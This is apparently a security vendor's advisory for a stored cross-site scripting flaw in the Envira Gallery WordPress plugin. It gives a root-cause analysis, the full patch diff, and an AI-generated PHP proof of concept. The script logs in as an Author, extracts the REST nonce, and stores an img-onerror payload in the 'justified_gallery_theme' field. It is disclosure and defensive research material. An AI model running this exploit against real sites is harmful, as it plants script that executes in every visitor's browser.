Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1236: Envira Gallery for WordPress <= 1.12.3 – Authenticated (Author+) Stored Cross-Site Scripting via 'justified_gallery_theme' Parameter via REST API (envira-gallery-lite)

CVE ID CVE-2026-1236
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.12.3
Patched Version 1.12.4
Disclosed March 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1236:
The vulnerability is a stored cross-site scripting (XSS) flaw in the Envira Gallery WordPress plugin. The root cause is insufficient input sanitization and output escaping for the ‘justified_gallery_theme’ parameter when processed through the plugin’s REST API. The plugin’s REST endpoint at /wp-json/envira/v1/gallery/{id} accepts configuration updates without properly sanitizing the ‘justified_gallery_theme’ value before storage. The vulnerable code path begins in includes/global/rest.php at line 188 where the update_gallery() method processes user-supplied config values. The unsanitized value is stored in the gallery configuration and later rendered without proper escaping in includes/global/shortcode.php at line 300, where it is output as a data-gallery-theme attribute. Attackers with Author-level privileges or higher can exploit this by sending a crafted REST API request containing malicious JavaScript in the justified_gallery_theme parameter. The payload executes when any user views a page containing the compromised gallery. The patch addresses this by implementing multiple layers of defense. A new sanitize_justified_gallery_theme() method in includes/global/common.php validates input against a whitelist of allowed theme values. The REST API’s sanitize_config_values() method calls this sanitizer before saving data. The shortcode output layer adds esc_attr() escaping when rendering the theme value. This combination of input validation and output escaping prevents XSS payloads from being stored or executed.

Differential between vulnerable and patched code

Code Diff
--- a/envira-gallery-lite/envira-gallery-lite.php
+++ b/envira-gallery-lite/envira-gallery-lite.php
@@ -5,7 +5,7 @@
  * Description: Envira Gallery is a fast, easy and powerful gallery builder with lightbox, masonry and grid layouts, albums, videos, and responsive displays and more
  * Author:      Envira Gallery Team
  * Author URI:  http://enviragallery.com
- * Version:     1.12.3
+ * Version:     1.12.4
  * Requires at least: 5.5
  * Requires PHP: 7.0
  * Text Domain: envira-gallery-lite
@@ -59,7 +59,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '1.12.3';
+	public $version = '1.12.4';


 	/**
--- a/envira-gallery-lite/includes/admin/ajax.php
+++ b/envira-gallery-lite/includes/admin/ajax.php
@@ -939,7 +939,7 @@
 		}

 		if ( ! empty( $gallery['config']['title'] ) ) {
-			$gallery_title = $gallery['config']['title'];
+			$gallery_title = wp_specialchars_decode( $gallery['config']['title'], ENT_QUOTES );
 		} else {
 			$gallery_title = false;
 		}
@@ -987,7 +987,7 @@
 			$prepend_results[] = [
 				'id'        => $gallery['id'],
 				'slug'      => $gallery['config']['slug'],
-				'title'     => $gallery['config']['title'],
+				'title'     => wp_specialchars_decode( $gallery['config']['title'], ENT_QUOTES ),
 				'thumbnail' => ( ( isset( $thumbnail ) && is_array( $thumbnail ) ) ? $thumbnail[0] : '' ),
 				'action'    => 'gallery', // Tells the editor modal whether this is a Gallery or Album for the shortcode output.
 			];
--- a/envira-gallery-lite/includes/admin/common.php
+++ b/envira-gallery-lite/includes/admin/common.php
@@ -124,7 +124,10 @@
 	public function admin_inline_styles() {
 		echo '<style>
 			.envira-sidebar-upgrade-pro {
-				background-color: #37993B;
+				background-color: #00ac53;
+			}
+			.envira-sidebar-upgrade-pro:hover {
+				background-color: #1c803d;
 			}
 			.envira-sidebar-upgrade-pro a {
 				color: #fff !important;
@@ -523,7 +526,8 @@
 				'unlock_url'                 => esc_url( $this->get_upgrade_link( 'https://enviragallery.com/pricing', 'listgallery', 'unlock' ) ),
 				'unlock_title'               => esc_html__( 'Unlock All Features', 'envira-gallery-lite' ),
 				'unlock_text'                => esc_html__( 'Upgrade to Pro to get access to Albums, Protected Images,  Video Galleries, and more!', 'envira-gallery-lite' ),
-				'unlock_btn'                 => esc_html__( 'Unlock Gallery Features ', 'envira-gallery-lite' ),
+				'unlock_btn'                 => esc_html__( 'Upgrade to Pro', 'envira-gallery-lite' ),
+				'unlock_icon'                => plugins_url( 'assets/css/images/envira-green.png', $this->base->file ),
 			]
 		);

--- a/envira-gallery-lite/includes/admin/partials/empty-state.php
+++ b/envira-gallery-lite/includes/admin/partials/empty-state.php
@@ -0,0 +1,52 @@
+<?php
+/**
+ * Empty State Template for Envira Gallery List
+ *
+ * @since 1.8.15
+ *
+ * @package Envira_Gallery
+ * @author  Envira Gallery Team <support@enviragallery.com>
+ */
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+?>
+
+<div class="envira-empty-state">
+	<div class="envira-empty-state-content">
+		<div class="envira-empty-state-left">
+			<div class="envira-empty-state-left-content">
+				<p class="envira-empty-state-greeting"><?php esc_html_e( '👋 Hello there!', 'envira-gallery-lite' ); ?></p>
+
+				<h2 class="envira-empty-state-title"><?php esc_html_e( "It looks like you haven't created any galleries yet.", 'envira-gallery-lite' ); ?></h2>
+
+				<p class="envira-empty-state-description">
+					<?php esc_html_e( 'You can use Envira Gallery to build beautiful and fast galleries with just a few clicks.', 'envira-gallery-lite' ); ?>
+				</p>
+			</div>
+			<div class="envira-empty-state-actions">
+				<a href="<?php echo esc_url( admin_url( 'post-new.php?post_type=envira' ) ); ?>" class="button button-primary button-hero envira-empty-state-button">
+					<?php esc_html_e( 'Create your Gallery', 'envira-gallery-lite' ); ?>
+					<img src="<?php echo esc_url( plugins_url( 'assets/images/arrow-right.png', ENVIRA_LITE_FILE ) ); ?>" alt="<?php esc_attr_e( 'Arrow Right', 'envira-gallery-lite' ); ?>" class="envira-button-arrow" />
+				</a>
+			</div>
+
+			<p class="envira-empty-state-help">
+				<?php
+				printf(
+					/* translators: %s: Documentation link */
+					esc_html__( 'Need some help? Check out our %s', 'envira-gallery-lite' ),
+					'<a href="https://enviragallery.com/docs/" target="_blank" rel="noopener">' . esc_html__( 'documentation', 'envira-gallery-lite' ) . '</a>.'
+				);
+				?>
+			</p>
+		</div>
+
+		<div class="envira-empty-state-right">
+			<img src="<?php echo esc_url( plugins_url( 'assets/images/gallery-demo.png', ENVIRA_LITE_FILE ) ); ?>" alt="<?php esc_attr_e( 'Gallery Demo', 'envira-gallery-lite' ); ?>" class="envira-empty-state-image" />
+		</div>
+	</div>
+</div>
+
--- a/envira-gallery-lite/includes/admin/table.php
+++ b/envira-gallery-lite/includes/admin/table.php
@@ -76,6 +76,9 @@
 		// Append data to various admin columns.
 		add_filter( 'manage_edit-envira_columns', [ &$this, 'envira_columns' ] );
 		add_action( 'manage_envira_posts_custom_column', [ &$this, 'envira_custom_columns' ], 10, 2 );
+
+		// Add custom empty state for galleries list.
+		add_action( 'admin_footer', [ $this, 'display_empty_state' ] );
 	}

 	/**
@@ -145,7 +148,6 @@

 		wp_register_script( $this->base->plugin_slug . '-table-script', plugins_url( 'assets/js/min/table-min.js', $this->base->file ), [ 'jquery' ], $this->base->version, true );
 		wp_enqueue_script( $this->base->plugin_slug . '-table-script' );
-
 		// Fire a hook to load in custom admin scripts.
 		do_action( 'envira_gallery_admin_scripts' );
 	}
@@ -448,6 +450,66 @@
 	}

 	/**
+	 * Display custom empty state when no galleries are found.
+	 *
+	 * @since 1.8.15
+	 *
+	 * @return void
+	 */
+	public function display_empty_state() {
+		// Get current screen.
+		$screen = get_current_screen();
+
+		// Bail if we're not on the Envira Post Type screen.
+		if ( 'envira' !== $screen->post_type ) {
+			return;
+		}
+
+		// Bail if we're not on a WP_List_Table.
+		if ( 'edit' !== $screen->base ) {
+			return;
+		}
+
+		// Check if there are any galleries.
+		$galleries = get_posts(
+			[
+				'post_type'        => 'envira',
+				'post_status'      => 'any',
+				'posts_per_page'   => 1,
+				'fields'           => 'ids',
+				'suppress_filters' => true,
+			]
+		);
+
+		// If galleries exist, don't show empty state.
+		if ( ! empty( $galleries ) ) {
+			return;
+		}
+
+		// Check if we're on the main galleries list page (not filtered or searched).
+		// phpcs:disable WordPress.Security.NonceVerification.Recommended -- Nonce is not required for display-only checks.
+		$search      = isset( $_GET['s'] ) ? sanitize_text_field( wp_unslash( $_GET['s'] ) ) : '';
+		$post_status = isset( $_GET['post_status'] ) ? sanitize_text_field( wp_unslash( $_GET['post_status'] ) ) : '';
+		$month_value = isset( $_GET['m'] ) ? sanitize_text_field( wp_unslash( $_GET['m'] ) ) : '';
+		// phpcs:enable WordPress.Security.NonceVerification.Recommended
+
+		if ( '' !== $search || '' !== $post_status || '' !== $month_value ) {
+			return;
+		}
+
+		// Output empty state in a hidden container, then move it to wpbody-content via JavaScript.
+		// The JavaScript is handled in assets/js/admin.js.
+		ob_start();
+		include ENVIRA_LITE_DIR . 'includes/admin/partials/empty-state.php';
+		$empty_state_content = ob_get_clean();
+
+		printf(
+			'<div id="envira-empty-state-container" style="display: none;">%s</div>',
+			$empty_state_content // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Template partial handles escaping.
+		);
+	}
+
+	/**
 	 * Returns the singleton instance of the class.
 	 *
 	 * @since 1.5.0
--- a/envira-gallery-lite/includes/global/common.php
+++ b/envira-gallery-lite/includes/global/common.php
@@ -165,6 +165,31 @@
 	}

 	/**
+	 * Sanitizes the justified gallery theme parameter to prevent XSS.
+	 *
+	 * @since 1.12.4
+	 *
+	 * @param string $theme The theme value to sanitize.
+	 * @return string Sanitized theme value.
+	 */
+	public function sanitize_justified_gallery_theme( $theme ) {
+		// Get valid themes
+		$valid_themes       = $this->get_justified_gallery_themes();
+		$valid_theme_values = wp_list_pluck( $valid_themes, 'value' );
+
+		// Sanitize the input - remove any HTML tags and trim whitespace
+		$theme = sanitize_text_field( trim( $theme ) );
+
+		// Check if theme is in the list of valid themes
+		if ( in_array( $theme, $valid_theme_values, true ) ) {
+			return $theme;
+		}
+
+		// Default to 'normal' if invalid theme provided
+		return $this->get_config_default( 'justified_gallery_theme' );
+	}
+
+	/**
 	 * Helper method for retrieving display description options.
 	 *
 	 * @since 1.3.7.3
--- a/envira-gallery-lite/includes/global/rest.php
+++ b/envira-gallery-lite/includes/global/rest.php
@@ -188,6 +188,8 @@
 		$gallery_data['config']['title'] = $post_object->title;

 		if ( isset( $value['config'] ) ) {
+			// Sanitize config values before saving to prevent XSS
+			$value['config']        = $this->sanitize_config_values( $value['config'] );
 			$gallery_data['config'] = wp_parse_args( $value['config'], $gallery_data['config'] );
 		}

@@ -419,6 +421,34 @@
 	}

 	/**
+	 * Sanitizes config values to prevent XSS attacks.
+	 *
+	 * @since 1.12.4
+	 *
+	 * @param array $config The config array to sanitize.
+	 * @return array Sanitized config array.
+	 */
+	public function sanitize_config_values( $config ) {
+		// Sanitize justified_gallery_theme - ensure it's a valid theme
+		if ( isset( $config['justified_gallery_theme'] ) ) {
+			$config['justified_gallery_theme'] = $this->common->sanitize_justified_gallery_theme(
+				$config['justified_gallery_theme']
+			);
+		}
+
+		// Sanitize justified_row_height - ensure it's a positive integer
+		if ( isset( $config['justified_row_height'] ) ) {
+			$row_height = absint( $config['justified_row_height'] );
+			if ( $row_height <= 0 ) {
+				$row_height = $this->common->get_config_default( 'justified_row_height' );
+			}
+			$config['justified_row_height'] = $row_height;
+		}
+
+		return $config;
+	}
+
+	/**
 	 * Helper Method to find closest size
 	 *
 	 * @param array $data Gallery Data.
--- a/envira-gallery-lite/includes/global/shortcode.php
+++ b/envira-gallery-lite/includes/global/shortcode.php
@@ -297,9 +297,18 @@
 		} else {
 			$row_height              = $this->get_config( 'justified_row_height', $this->gallery_data );
 			$justified_gallery_theme = $this->get_config( 'justified_gallery_theme', $this->gallery_data );
+
+			// Sanitize row height - ensure it's a positive integer
+			$row_height = absint( $row_height );
+			if ( $row_height <= 0 ) {
+				$row_height = $this->common->get_config_default( 'justified_row_height' ); // Default to 150
+			}
+
+			// Sanitize justified gallery theme - ensure it's a valid theme
+			$justified_gallery_theme = $this->sanitize_justified_gallery_theme( $justified_gallery_theme );
 		}

-			$gallery .= '<div' . $opacity_insert . ' data-row-height="' . $row_height . '" data-gallery-theme="' . $justified_gallery_theme . '" id="envira-gallery-' . sanitize_html_class( $this->gallery_data['id'] ) . '" class="envira-gallery-public ' . $extra_css . ' envira-gallery-' . sanitize_html_class( $this->get_config( 'columns', $this->gallery_data ) ) . '-columns envira-clear' . ( $this->get_config( 'isotope', $this->gallery_data ) ? ' enviratope' : '' ) . ( $this->get_config( 'css_animations', $this->gallery_data ) ? ' envira-gallery-css-animations' : '' ) . '" data-envira-columns="' . $this->get_config( 'columns', $this->gallery_data ) . '">';
+			$gallery .= '<div' . $opacity_insert . ' data-row-height="' . esc_attr( $row_height ) . '" data-gallery-theme="' . esc_attr( $justified_gallery_theme ) . '" id="envira-gallery-' . sanitize_html_class( $this->gallery_data['id'] ) . '" class="envira-gallery-public ' . $extra_css . ' envira-gallery-' . sanitize_html_class( $this->get_config( 'columns', $this->gallery_data ) ) . '-columns envira-clear' . ( $this->get_config( 'isotope', $this->gallery_data ) ? ' enviratope' : '' ) . ( $this->get_config( 'css_animations', $this->gallery_data ) ? ' envira-gallery-css-animations' : '' ) . '" data-envira-columns="' . esc_attr( $this->get_config( 'columns', $this->gallery_data ) ) . '">';

 				// Start image loop.
 		foreach ( $data['gallery'] as $id => $item ) {
@@ -1912,6 +1921,19 @@
 	}

 	/**
+	 * Sanitizes the justified gallery theme parameter to prevent XSS.
+	 *
+	 * @since 1.12.4
+	 *
+	 * @param string $theme The theme value to sanitize.
+	 * @return string Sanitized theme value.
+	 */
+	public function sanitize_justified_gallery_theme( $theme ) {
+		// Delegate to the common class to ensure consistent sanitization logic across entry points.
+		return $this->common->sanitize_justified_gallery_theme( $theme );
+	}
+
+	/**
 	 * Helper method to minify a string of data.
 	 *
 	 * @since 1.0.4

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1236 - Envira Gallery for WordPress <= 1.12.3 - Authenticated (Author+) Stored Cross-Site Scripting via 'justified_gallery_theme' Parameter via REST API
<?php

$target_url = 'http://target-wordpress-site.com';
$username = 'author_user';
$password = 'author_password';
$gallery_id = 123; // Replace with actual gallery ID

// Step 1: Authenticate and obtain WordPress REST API nonce
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

// Create a temporary cookie file
$cookie_file = tempnam(sys_get_temp_dir(), 'envira_cve_');

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$login_response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract the REST API nonce from admin page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $gallery_id . '&action=edit');
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$admin_page = curl_exec($ch);
curl_close($ch);

// Look for the REST API nonce in the page
preg_match('/"enviraRestNonce":"([a-f0-9]+)"/', $admin_page, $matches);
if (empty($matches[1])) {
    die('Failed to extract REST API nonce');
}
$rest_nonce = $matches[1];

// Step 3: Exploit the vulnerability via REST API
$rest_url = $target_url . '/wp-json/envira/v1/gallery/' . $gallery_id;

// XSS payload in justified_gallery_theme parameter
$payload = '"><img src=x onerror=alert(document.domain)>';

$data = [
    'config' => [
        'justified_gallery_theme' => $payload,
        'justified_row_height' => 150
    ]
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Clean up cookie file
unlink($cookie_file);

if ($http_code === 200) {
    echo "Exploit successful! XSS payload injected into gallery ID: " . $gallery_id . "n";
    echo "Payload will execute when users view the gallery page.n";
} else {
    echo "Exploit failed. HTTP Code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School